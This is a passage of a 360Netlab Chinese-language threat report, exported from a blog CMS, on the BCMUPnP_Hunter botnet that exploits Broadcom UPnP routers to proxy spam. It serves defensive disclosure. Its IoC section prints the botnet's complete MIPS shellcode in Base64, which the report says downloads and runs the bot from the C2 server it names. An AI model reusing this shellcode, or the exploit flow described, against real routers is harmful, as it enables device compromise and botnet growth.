LLC\"\n[takendown] 35.236.117.108 \"AS15169 Google LLC\"\n[takendown] 35.236.2.49 \"AS15169 Google LLC\"\n[takendown] 35.236.222.1 \"AS15169 Google LLC\"\n[takendown] 35.236.246.82 \"AS15169 Google LLC\"\n[takendown] 35.236.25.247 \"AS15169 Google LLC\"\n[takendown] 35.236.254.11 \"AS15169 Google LLC\"\n[takendown] 35.236.34.51 \"AS15169 Google LLC\"\n[takendown] 35.237.127.167 \"AS15169 Google LLC\"\n[takendown] 35.237.204.11 \"AS15169 Google LLC\"\n[takendown] 35.237.215.211 \"AS15169 Google LLC\"\n[takendown] 35.237.32.144 \"AS15169 Google LLC\"\n[takendown] 35.237.68.143 \"AS15169 Google LLC\"\n[takendown] 35.238.4.122 \"AS15169 Google LLC\"\n[takendown] 35.238.74.24 \"AS15169 Google LLC\"\n[takendown] 35.240.156.17 \"AS15169 Google LLC\"\n[takendown] 35.240.212.106 \"AS15169 Google LLC\"\n[takendown] 35.240.234.169 \"AS15169 Google LLC\"\n[takendown] 35.240.94.181 \"AS15169 Google LLC\"\n[takendown] 35.241.151.23 \"AS15169 Google LLC\"\n[takendown] 35.242.134.99 \"AS15169 Google LLC\"\n[takendown] 35.242.140.13 \"AS15169 Google LLC\"\n[takendown] 35.242.143.117 \"AS15169 Google LLC\"\n[takendown] 35.242.152.241 \"AS15169 Google LLC\"\n[takendown] 35.242.203.94 \"AS15169 Google LLC\"\n[takendown] 35.242.245.109 \"AS15169 Google LLC\"\n[takendown] 40.74.85.45 \"AS8075 Microsoft Corporation\"\n```\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

150

post

2018-10-11T08:11:20.000Z

63873b9a8b1c1e0007f52f3a

bcmupnp_hunter-a-100k-botnet-is-seeming-abusing-home-routers-for-spam-emails

2021-01-26T13:16:12.000Z

public

published

2018-11-02T03:50:58.000Z

BCMUPnP_Hunter：疑似10万节点级别的僵尸网络正在滥用家用路由器发送垃圾邮件

<!--kg-card-begin: markdown--><p>本文由 <a href="https://twitter.com/huiwangeth"><em>Hui Wang</em></a>、<a href="https://twitter.com/RooKiter"><em>RootKiter</em></a>共同撰写</p> <p>360Netlab在2018年9月注意到一个新的僵尸网络。该僵尸网络的感染数量特别巨大，每个扫描波次中活跃的IP地址为10万左右，值得引起安全社区的警惕。</p> <p>我们将该僵尸网络命名为 <em>BCMUPnP_Hunter</em>，主要是考虑基其感染目标特征。该僵尸网络有以下几个特点：</p> <ul> <li>感染量特别巨大，每个波次中活跃的扫描IP均在10万左右；</li> <li>感染目标单一，主要是以BroadCom UPnP为基础的路由器设备；</li> <li>样本捕获难度大，在高交互蜜罐中需模拟多处设备环境后才能成功捕获；</li> <li>自建代理网络(tcp-proxy)，该代理网络由攻击者自行实现，可以利用 bot端 为跳板，代理访问互联网；</li> <li>该代理网络目前主要访问Outlook，Hotmail，Yahoo! Mail 等知名邮件服务器，我们高度怀疑攻击者的意图主要是和发送垃圾邮件有关。</li> </ul> <p><strong>处理时间线</strong></p> <ul> <li>2013年10月 DefenseCode的安全研究人员发现Broadcom UPnP 实现存在重大安全<a href="http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt">漏洞</a>。考虑到漏洞的严重性，并没有立即公开他们的发现。</li> <li>2017年4月 DefenseCode正式披露了这个<a href="https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf">漏洞的细节信息</a></li> <li>2018年9月 360Netlab <code>ScanMon系统</code> 检测到针对<code>TCP 5431</code> 端口的<a href="https://twitter.com/liuya0904/status/1044960012072697856">扫描异常</a>，在对基础数据回溯后，发现该扫描特征最早可回溯于 2018年1月。</li> <li>2018年10月 定位扫描源头，并捕获投递样本。</li> </ul> <h1 id="">规模评估</h1> <ul> <li> <p>最近30天针对 端口5431 的扫描源IP趋势如下：<br> <img src="__GHOST_URL__/content/images/2018/11/Snip20181102_3.png" alt="" loading="lazy"></p> </li> <li> <p>可见扫描不是持续的，而是每隔1-3天构成一个波次。单个波次中活跃的扫描IP在10万左右，我们正是基于这个数据度量该僵尸网络的规模；</p> </li> <li> <p>历史上累积看到的扫描源ip有337万。这个数量虽然巨大，但也许并不意味着已经有这么多设备已经被感染，而可能是同一被感染设备设备IP随时间变化导致。</p> </li> <li> <p>潜在易感染数量<a href="https://www.shodan.io/search?query=Server%3A%20Custom%2F1.0%20UPnP%2F1.0%20Proc%2FVer">超过42万</a>，这个主要是根据扫描源ip返回banner中的web server:<code>Server: Custom/1.0 UPnP/1.0 Proc/Ver</code>从shodan的搜索结果估计的。</p> </li> <li> <p>最近7天扫描源IP地理位置分布<br> <a href="__GHOST_URL__/content/images/2018/11/Snip20181102_10.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/11/Snip20181102_9.png" /></a></p> </li> </ul> <h1 id="">被感染设备信息</h1> <p>通过对攻击源的探测，得到了116款被感染的设备信息，实际感染设备种类不限于此：</p> <pre><code>ADB Broadband S.p.A, HomeStation ADSL Router ADB Broadband, ADB ADSL Router ADBB, ADB ADSL Router ALSiTEC, Broadcom ADSL Router ASB, ADSL Router ASB, ChinaNet EPON Router ASB, ChinaTelecom E8C(EPON) Gateway Actiontec, Actiontec GT784WN Actiontec, Verizon ADSL Router BEC Technologies Inc., Broadcom ADSL Router Best IT World India Pvt. Ltd., 150M Wireless-N ADSL2+ Router Best IT World India Pvt. Ltd., iB-WRA300N Billion Electric Co., Ltd., ADSL2+ Firewall Router Billion Electric Co., Ltd., BiPAC 7800NXL Billion, BiPAC 7700N Billion, BiPAC 7700N R2 Binatone Telecommunication, Broadcom LAN Router Broadcom, ADSL Router Broadcom, ADSL2+ 11n WiFi CPE Broadcom, Broadcom Router Broadcom, Broadcom ADSL Router Broadcom, D-Link DSL-2640B Broadcom, D-link ADSL Router Broadcom, DLink ADSL Router ClearAccess, Broadcom ADSL Router Comtrend, AR-5383n Comtrend, Broadcom ADSL Router Comtrend, Comtrend single-chip ADSL router D-Link Corporation., D-Link DSL-2640B D-Link Corporation., D-Link DSL-2641B D-Link Corporation., D-Link DSL-2740B D-Link Corporation., D-Link DSL-2750B D-Link Corporation., D-LinkDSL-2640B D-Link Corporation., D-LinkDSL-2641B D-Link Corporation., D-LinkDSL-2741B D-Link Corporation., DSL-2640B D-Link, ADSL 4*FE 11n Router D-Link, D-Link ADSL Router D-Link, D-Link DSL-2640U D-Link, D-Link DSL-2730B D-Link, D-Link DSL-2730U D-Link, D-Link DSL-2750B D-Link, D-Link DSL-2750U D-Link, D-Link DSL-6751 D-Link, D-Link DSL2750U D-Link, D-Link Router D-Link, D-link ADSL Router D-Link, DVA-G3672B-LTT Networks ADSL Router DARE, Dare router DLink, D-Link DSL-2730B DLink, D-Link VDSL Router DLink, DLink ADSL Router DQ Technology, Inc., ADSL2+ 11n WiFi CPE DQ Technology, Inc., Broadcom ADSL Router DSL, ADSL Router DareGlobal, D-Link ADSL Router Digicom S.p.A., ADSL Wireless Modem/Router Digicom S.p.A., RAW300C-T03 Dlink, D-Link DSL-225 Eltex, Broadcom ADSL Router FiberHome, Broadcom ADSL Router GWD, ChinaTelecom E8C(EPON) Gateway Genew, Broadcom ADSL Router INTEX, W150D INTEX, W300D INTEX, Wireless N 150 ADSL2+ Modem Router INTEX, Wireless N 300 ADSL2+ Modem Router ITI Ltd., ITI Ltd.ADSL2Plus Modem/Router Inteno, Broadcom ADSL Router Intercross, Broadcom ADSL Router IskraTEL, Broadcom ADSL Router Kasda, Broadcom ADSL Router Link-One, Modem Roteador Wireless N ADSL2+ 150 Mbps Linksys, Cisco X1000 Linksys, Cisco X3500 NB, DSL-2740B NetComm Wireless Limited, NetComm ADSL2+ Wireless Router NetComm, NetComm ADSL2+ Wireless Router NetComm, NetComm WiFi Data and VoIP Gateway OPTICOM, DSLink 279 Opticom, DSLink 485 Orcon, Genius QTECH, QTECH Raisecom, Broadcom ADSL Router Ramptel, 300Mbps ADSL Wireless-N Router Router, ADSL2+ Router SCTY, TYKH PON Router Star-Net, Broadcom ADSL Router Starbridge Networks, Broadcom ADSL Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N ADSL2+ Modem Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N USB ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Router Technicolor, CenturyLink TR-064 v4.0 Tenda, Tenda ADSL2+ WIFI MODEM Tenda, Tenda ADSL2+ WIFI Router Tenda, Tenda Gateway Tenda/Imex, ADSL2+ WIFI-MODEM WITH 3G/4G USB PORT Tenda/Imex, ADSL2+ WIFI-MODEM WITH EVO SUPPORT UTStarcom Inc., UTStarcom ADSL2+ Modem Router UTStarcom Inc., UTStarcom ADSL2+ Modem/Wireless Router UniqueNet Solutions, WLAN N300 ADSL2+ Modem Router ZTE, Broadcom ADSL Router ZTE, ONU Router ZYXEL, ZyXEL VDSL Router Zhone, Broadcom ADSL Router Zhone, Zhone Wireless Gateway Zoom, Zoom Adsl Modem/Router ZyXEL, CenturyLink UPnP v1.0 ZyXEL, P-660HN-51 ZyXEL, ZyXEL xDSL Router huaqin, HGU210 v3 Router iBall Baton, iBall Baton 150M Wireless-N ADSL2+ Router iiNet Limited, BudiiLite iiNet, BoB2 iiNet, BoBLite </code></pre> <h1 id="">传播过程及捕获</h1> <p>对于每一个随机生成的 目标IP，Bot端会先探测其<code>TCP 5431</code>端口的开放情况。如果开放，则通过潜在可感染url（访问 UDP-1900端口 得到这个url）进一步探测漏洞有效性。通过探测检查的IP会统一汇报到<em>Loader(<code>109.248.9.17:4369</code>)</em>，由<code>Loader</code>完成后续的漏洞利用和植入恶意样本的过程。</p> <p>攻击过程的简要时序图如下：<br> <a href="__GHOST_URL__/content/images/2018/10/bcm_p.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/10/bcm_p0.png" /></a><center>图1：BCMUPnP_Hunter感染过程（点击图片放大）</center></p> <p>除上述必要的交互外，漏洞利用本身也需要经过多个步骤的交互，才能成功。</p> <p>但是对于高交互蜜罐的开发人员来说，每一次交互都成了一次考验。只有正确回答每一次请求，才能成功诱骗投递者投递最终样本。为此我们修改了多种蜜罐，以便能够完整的模拟受感染设备，欺骗投递者，最终完成对该僵尸网络的分析。</p> <h1 id="">样本部分</h1> <p>该僵尸网络的样本由两个部分组成，shellcode和bot主体，下面分别描述其功能。</p> <h2 id="shellcode">shellcode</h2> <p>shellcode主要功能，从c2(<code>109.248.9.17:8738</code>)下载主样本并执行。</p> <p>该<code>shellcode</code>全长432字节，工整规范，无法从常见搜索引擎中检索到。同时又完美的实现了以下几点，可见作者功力深厚，并非一般的脚本小子所为:</p> <ul> <li>基础能力方面：代码出现了多处网络、进程、文件等syscall调用；</li> <li>代码细节方面：利用 <code>syscall 0x40404</code>（替代 <code>syscall 0</code>）和多次取反操作，进而避免了坏字符(\x00)；代码中栈变量也出现了不同程度的复用，以优化运行时的栈结构；</li> <li>代码逻辑方面：通过使用循环节，合理规避了多种失败调用的情况，保证了shellcode执行的有效性。</li> </ul> <p>其完整流程图如下，对shellcode感兴趣的读者可以自行阅读：</p> <p><a href="__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color_min.png" /></a><center>图2：Shellcode流程图（点击图片放大）</center></p> <h2 id="">样本主体</h2> <p>样本主体的功能包括 Broadcom UPnP 漏洞探测和代理访问网络功能，能够解析来自C2的4种指令码：</p> <pre><code>指令码 包长 功能 0x00000000 0x18 首包，有服务伪装的效果，无实际意义 0x01010101 0x4c 搜寻潜在感染目标任务 0x02020202 0x08 当前任务清空 0x03030303 0x108 访问代理网络任务 </code></pre> <ul> <li><code>0x01010101</code> 为开启端口扫描任务的指令码，BOT端一旦扫描到潜在感染目标，便会将目标IP 封包后上报 <em>Loader</em>，随后<em>Loader</em>会完成后续感染流程。</li> <li><code>0x03030303</code> 为代理服务指令码，BOT端会访问指令中提供的地址，并将访问结果汇报给主控端。</li> </ul> <p>这些指令中，<code>0x03030303</code> 是可以产生实际经济利益的，攻击者可以利用这条指令构建代理网络，进而通过发送垃圾邮件、模拟点击等等活动牟利。其他的指令只能用于感染和扩张僵尸网络的规模，并不会产生实际的经济效益。</p> <h1 id="">代理网络和垃圾邮件</h1> <p>为了厘清攻击者的攻击意图，我们通过一系列技术手段继续跟踪攻击者发出的 <code>0x03030303</code> 指令。</p> <p>在我们已经得到的指令中，BCMUPnP_Hunter被用于代理以下服务器的流量：</p> <pre><code>104.47.0.33:25 104.47.12.33:25 104.47.124.33:25 104.47.14.33:25 104.47.33.33:25 104.47.48.33:25 104.47.50.33:25 106.10.248.84:25 144.160.159.21:25 188.125.73.87:25 67.195.229.59:25 74.6.137.63:25 74.6.137.64:25 98.137.159.28:25 </code></pre> <p>我们的基础数据对这些服务器提供了更加详细的刻画：</p> <p><img src="__GHOST_URL__/content/images/2018/11/proxy_target-1.png" alt="" loading="lazy"></p> <p>可以看出：</p> <ul> <li>这些服务器均属于知名邮件服务提供商，包括Outlook，Hotmail，Yahoo! Mail；</li> <li>几个月以来，这些服务器均提供且仅提供了TCP25的服务；</li> <li>在这个案例中，基本可以认为攻击者在滥用这些服务器的电子邮件服务；</li> </ul> <p>这让我们高度怀疑，攻击者正在利用BCMUPnP_Hunter建立的代理网络发送垃圾邮件。</p> <h1 id="">联系我们</h1> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们，或者向我们发送电子邮件 netlab[at]360.cn。</p> <p>为避免滥用，我们不会公布受害者 IP 列表。相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。</p> <h1 id="broadcomupnp">附录：关于 BroadCom UPnP 漏洞</h1> <p>UPnP是Universal Plug and Play的缩写，即通用即插即用协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现<a href="https://en.wikipedia.org/wiki/Universal_Plug_and_Play"><em>[1]</em></a>。BroadCom UPnP是BroadCom公司针对UPnP协议的具体实现。由于BroadCom在业界处于供应链上游，所以该实现被各大路由器厂商采用，包括华硕，D-Link，Zyxel，US Robotics，T​​P-Link，Netgear等。</p> <p>2013年10月安全研究公司DefenseCode的安全研究人员发现了协议栈中的<a href="http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt"><em>BroadCom UPnP 格式化字符串漏洞</em></a>。考虑到该漏洞影响多家主流路由器厂商的产品，DefenseCode直到2017年才<a href="https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf"><em>公开</em></a>他们的发现。这次披露的代码是验证性质的，攻击者在已公开文档的基础上还须完成必要的漏洞分析和优化shellcode的过程后才能发挥实际的威力。本文涉及的<em>BCMUPnP_Hunter</em>就是如此。</p> <h1 id="ioc">IoC</h1> <p>C2服务器</p> <pre><code>109.248.9.17 &quot;Bulgaria/BG&quot; &quot;AS58222 Solar Invest UK LTD&quot; #C2&amp;&amp;Loader </code></pre> <p>Sample MD5</p> <pre><code>9036120904827550bf4436a919d3e503 </code></pre> <p>Shellcode(Base64 encode):</p> <pre><code>AtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t </code></pre> <!--kg-card-end: markdown-->

本文由 Hui Wang、RootKiter共同撰写 360Netlab在2018年9月注意到一个新的僵尸网络。该僵尸网络的感染数量特别巨大，每个扫描波次中活跃的IP地址为10万左右，值得引起安全社区的警惕。 我们将该僵尸网络命名为 BCMUPnP_Hunter，主要是考虑基其感染目标特征。该僵尸网络有以下几个特点： * 感染量特别巨大，每个波次中活跃的扫描IP均在10万左右； * 感染目标单一，主要是以BroadCom UPnP为基础的路由器设备； * 样本捕获难度大，在高交互蜜罐中需模拟多处设备环境后才能成功捕获； * 自建代理网络(tcp-proxy)，该代理网络由攻击者自行实现，可以利用 bot端 为跳板，代理访问互联网； * 该代理网络目前主要访问Outlook，Hotmail，Yahoo! Mail 等知名邮件服务器，我们高度怀疑攻击者的意图主要是和发送垃圾邮件有关。 处理时间线 * 2013年10月 DefenseCode的安全研究人员发现Broadcom UPnP 实现存在重大安全漏洞。考虑到漏洞的严重性，并没有立即公开他们的发现。 * 2017年4月 DefenseCode正式披露了这个漏洞的细节信息 * 2018年9月 360Netlab ScanMon系统 检测到针对TCP 5431 端口的扫描异常，在对基础数据回溯后，发现该扫描特征最早可回溯于 2018年1月。 * 2018年10月 定位扫描源头，并捕获投递样本。 规模评估 * 最近30天针对 端口5431 的扫描源IP趋势如下： * 可见扫描不是持续的，而是每隔1-3天构成一个波次。单个波次中活跃的扫描IP在10万左右，我们正是基于这个数据度量该僵尸网络的规模； * 历史上累积看到的扫描源ip有337万。这个数量虽然巨大，但也许并不意味着已经有这么多设备已经被感染，而可能是同一被感染设备设备IP随时间变化导致。 * 潜在易感染数量超过42万，这个主要是根据扫描源ip返回banner中的web server:Server: Custom/1.0 UPnP/1.0 Proc/Ver从shodan的搜索结果估计的。 * 最近7天扫描源IP地理位置分布 被感染设备信息 通过对攻击源的探测，得到了116款被感染的设备信息，实际感染设备种类不限于此： ADB Broadband S.p.A, HomeStation ADSL Router ADB Broadband, ADB ADSL Router ADBB, ADB ADSL Router ALSiTEC, Broadcom ADSL Router ASB, ADSL Router ASB, ChinaNet EPON Router ASB, ChinaTelecom E8C(EPON) Gateway Actiontec, Actiontec GT784WN Actiontec, Verizon ADSL Router BEC Technologies Inc., Broadcom ADSL Router Best IT World India Pvt. Ltd., 150M Wireless-N ADSL2+ Router Best IT World India Pvt. Ltd., iB-WRA300N Billion Electric Co., Ltd., ADSL2+ Firewall Router Billion Electric Co., Ltd., BiPAC 7800NXL Billion, BiPAC 7700N Billion, BiPAC 7700N R2 Binatone Telecommunication, Broadcom LAN Router Broadcom, ADSL Router Broadcom, ADSL2+ 11n WiFi CPE Broadcom, Broadcom Router Broadcom, Broadcom ADSL Router Broadcom, D-Link DSL-2640B Broadcom, D-link ADSL Router Broadcom, DLink ADSL Router ClearAccess, Broadcom ADSL Router Comtrend, AR-5383n Comtrend, Broadcom ADSL Router Comtrend, Comtrend single-chip ADSL router D-Link Corporation., D-Link DSL-2640B D-Link Corporation., D-Link DSL-2641B D-Link Corporation., D-Link DSL-2740B D-Link Corporation., D-Link DSL-2750B D-Link Corporation., D-LinkDSL-2640B D-Link Corporation., D-LinkDSL-2641B D-Link Corporation., D-LinkDSL-2741B D-Link Corporation., DSL-2640B D-Link, ADSL 4*FE 11n Router D-Link, D-Link ADSL Router D-Link, D-Link DSL-2640U D-Link, D-Link DSL-2730B D-Link, D-Link DSL-2730U D-Link, D-Link DSL-2750B D-Link, D-Link DSL-2750U D-Link, D-Link DSL-6751 D-Link, D-Link DSL2750U D-Link, D-Link Router D-Link, D-link ADSL Router D-Link, DVA-G3672B-LTT Networks ADSL Router DARE, Dare router DLink, D-Link DSL-2730B DLink, D-Link VDSL Router DLink, DLink ADSL Router DQ Technology, Inc., ADSL2+ 11n WiFi CPE DQ Technology, Inc., Broadcom ADSL Router DSL, ADSL Router DareGlobal, D-Link ADSL Router Digicom S.p.A., ADSL Wireless Modem/Router Digicom S.p.A., RAW300C-T03 Dlink, D-Link DSL-225 Eltex, Broadcom ADSL Router FiberHome, Broadcom ADSL Router GWD, ChinaTelecom E8C(EPON) Gateway Genew, Broadcom ADSL Router INTEX, W150D INTEX, W300D INTEX, Wireless N 150 ADSL2+ Modem Router INTEX, Wireless N 300 ADSL2+ Modem Router ITI Ltd., ITI Ltd.ADSL2Plus Modem/Router Inteno, Broadcom ADSL Router Intercross, Broadcom ADSL Router IskraTEL, Broadcom ADSL Router Kasda, Broadcom ADSL Router Link-One, Modem Roteador Wireless N ADSL2+ 150 Mbps Linksys, Cisco X1000 Linksys, Cisco X3500 NB, DSL-2740B NetComm Wireless Limited, NetComm ADSL2+ Wireless Router NetComm, NetComm ADSL2+ Wireless Router NetComm, NetComm WiFi Data and VoIP Gateway OPTICOM, DSLink 279 Opticom, DSLink 485 Orcon, Genius QTECH, QTECH Raisecom, Broadcom ADSL Router Ramptel, 300Mbps ADSL Wireless-N Router Router, ADSL2+ Router SCTY, TYKH PON Router Star-Net, Broadcom ADSL Router Starbridge Networks, Broadcom ADSL Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N ADSL2+ Modem Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N USB ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Router Technicolor, CenturyLink TR-064 v4.0 Tenda, Tenda ADSL2+ WIFI MODEM Tenda, Tenda ADSL2+ WIFI Router Tenda, Tenda Gateway Tenda/Imex, ADSL2+ WIFI-MODEM WITH 3G/4G USB PORT Tenda/Imex, ADSL2+ WIFI-MODEM WITH EVO SUPPORT UTStarcom Inc., UTStarcom ADSL2+ Modem Router UTStarcom Inc., UTStarcom ADSL2+ Modem/Wireless Router UniqueNet Solutions, WLAN N300 ADSL2+ Modem Router ZTE, Broadcom ADSL Router ZTE, ONU Router ZYXEL, ZyXEL VDSL Router Zhone, Broadcom ADSL Router Zhone, Zhone Wireless Gateway Zoom, Zoom Adsl Modem/Router ZyXEL, CenturyLink UPnP v1.0 ZyXEL, P-660HN-51 ZyXEL, ZyXEL xDSL Router huaqin, HGU210 v3 Router iBall Baton, iBall Baton 150M Wireless-N ADSL2+ Router iiNet Limited, BudiiLite iiNet, BoB2 iiNet, BoBLite 传播过程及捕获 对于每一个随机生成的 目标IP，Bot端会先探测其TCP 5431端口的开放情况。如果开放，则通过潜在可感染url（访问 UDP-1900端口 得到这个url）进一步探测漏洞有效性。通过探测检查的IP会统一汇报到Loader(109.248.9.17:4369)，由Loader完成后续的漏洞利用和植入恶意样本的过程。 攻击过程的简要时序图如下： 图1：BCMUPnP_Hunter感染过程（点击图片放大） 除上述必要的交互外，漏洞利用本身也需要经过多个步骤的交互，才能成功。 但是对于高交互蜜罐的开发人员来说，每一次交互都成了一次考验。只有正确回答每一次请求，才能成功诱骗投递者投递最终样本。为此我们修改了多种蜜罐，以便能够完整的模拟受感染设备，欺骗投递者，最终完成对该僵尸网络的分析。 样本部分 该僵尸网络的样本由两个部分组成，shellcode和bot主体，下面分别描述其功能。 shellcode shellcode主要功能，从c2(109.248.9.17:8738)下载主样本并执行。 该shellcode全长432字节，工整规范，无法从常见搜索引擎中检索到。同时又完美的实现了以下几点，可见作者功力深厚，并非一般的脚本小子所为: * 基础能力方面：代码出现了多处网络、进程、文件等syscall调用； * 代码细节方面：利用 syscall 0x40404（替代 syscall 0）和多次取反操作，进而避免了坏字符(\x00)；代码中栈变量也出现了不同程度的复用，以优化运行时的栈结构； * 代码逻辑方面：通过使用循环节，合理规避了多种失败调用的情况，保证了shellcode执行的有效性。 其完整流程图如下，对shellcode感兴趣的读者可以自行阅读： 图2：Shellcode流程图（点击图片放大） 样本主体 样本主体的功能包括 Broadcom UPnP 漏洞探测和代理访问网络功能，能够解析来自C2的4种指令码： 指令码 包长 功能 0x00000000 0x18 首包，有服务伪装的效果，无实际意义 0x01010101 0x4c 搜寻潜在感染目标任务 0x02020202 0x08 当前任务清空 0x03030303 0x108 访问代理网络任务 * 0x01010101 为开启端口扫描任务的指令码，BOT端一旦扫描到潜在感染目标，便会将目标IP 封包后上报 Loader，随后Loader会完成后续感染流程。 * 0x03030303 为代理服务指令码，BOT端会访问指令中提供的地址，并将访问结果汇报给主控端。 这些指令中，0x03030303 是可以产生实际经济利益的，攻击者可以利用这条指令构建代理网络，进而通过发送垃圾邮件、模拟点击等等活动牟利。其他的指令只能用于感染和扩张僵尸网络的规模，并不会产生实际的经济效益。 代理网络和垃圾邮件 为了厘清攻击者的攻击意图，我们通过一系列技术手段继续跟踪攻击者发出的 0x03030303 指令。 在我们已经得到的指令中，BCMUPnP_Hunter被用于代理以下服务器的流量： 104.47.0.33:25 104.47.12.33:25 104.47.124.33:25 104.47.14.33:25 104.47.33.33:25 104.47.48.33:25 104.47.50.33:25 106.10.248.84:25 144.160.159.21:25 188.125.73.87:25 67.195.229.59:25 74.6.137.63:25 74.6.137.64:25 98.137.159.28:25 我们的基础数据对这些服务器提供了更加详细的刻画： 可以看出： * 这些服务器均属于知名邮件服务提供商，包括Outlook，Hotmail，Yahoo! Mail； * 几个月以来，这些服务器均提供且仅提供了TCP25的服务； * 在这个案例中，基本可以认为攻击者在滥用这些服务器的电子邮件服务； 这让我们高度怀疑，攻击者正在利用BCMUPnP_Hunter建立的代理网络发送垃圾邮件。 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们，或者向我们发送电子邮件 netlab[at]360.cn。 为避免滥用，我们不会公布受害者 IP 列表。相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。 附录：关于 BroadCom UPnP 漏洞 UPnP是Universal Plug and Play的缩写，即通用即插即用协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现[1]。BroadCom UPnP是BroadCom公司针对UPnP协议的具体实现。由于BroadCom在业界处于供应链上游，所以该实现被各大路由器厂商采用，包括华硕，D-Link，Zyxel，US Robotics，T P-Link，Netgear等。 2013年10月安全研究公司DefenseCode的安全研究人员发现了协议栈中的BroadCom UPnP 格式化字符串漏洞。考虑到该漏洞影响多家主流路由器厂商的产品，DefenseCode直到2017年才公开他们的发现。这次披露的代码是验证性质的，攻击者在已公开文档的基础上还须完成必要的漏洞分析和优化shellcode的过程后才能发挥实际的威力。本文涉及的BCMUPnP_Hunter就是如此。 IoC C2服务器 109.248.9.17 "Bulgaria/BG" "AS58222 Solar Invest UK LTD" #C2&&Loader Sample MD5 9036120904827550bf4436a919d3e503 Shellcode(Base64 encode): AtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"本文由 [*Hui Wang*](https://twitter.com/huiwangeth)、[*RootKiter*](https://twitter.com/RooKiter)共同撰写\n\n360Netlab在2018年9月注意到一个新的僵尸网络。该僵尸网络的感染数量特别巨大，每个扫描波次中活跃的IP地址为10万左右，值得引起安全社区的警惕。\n\n我们将该僵尸网络命名为 *BCMUPnP_Hunter*，主要是考虑基其感染目标特征。该僵尸网络有以下几个特点：\n\n* 感染量特别巨大，每个波次中活跃的扫描IP均在10万左右；\n* 感染目标单一，主要是以BroadCom UPnP为基础的路由器设备；\n* 样本捕获难度大，在高交互蜜罐中需模拟多处设备环境后才能成功捕获；\n* 自建代理网络(tcp-proxy)，该代理网络由攻击者自行实现，可以利用 bot端 为跳板，代理访问互联网；\n* 该代理网络目前主要访问Outlook，Hotmail，Yahoo! Mail 等知名邮件服务器，我们高度怀疑攻击者的意图主要是和发送垃圾邮件有关。\n\n\n**处理时间线**\n\n* 2013年10月 DefenseCode的安全研究人员发现Broadcom UPnP 实现存在重大安全[漏洞](http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt)。考虑到漏洞的严重性，并没有立即公开他们的发现。\n* 2017年4月 DefenseCode正式披露了这个[漏洞的细节信息](https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf)\n* 2018年9月 360Netlab `ScanMon系统` 检测到针对`TCP 5431` 端口的[扫描异常](https://twitter.com/liuya0904/status/1044960012072697856)，在对基础数据回溯后，发现该扫描特征最早可回溯于 2018年1月。\n* 2018年10月 定位扫描源头，并捕获投递样本。\n\n# 规模评估\n* 最近30天针对 端口5431 的扫描源IP趋势如下：\n\n\n* 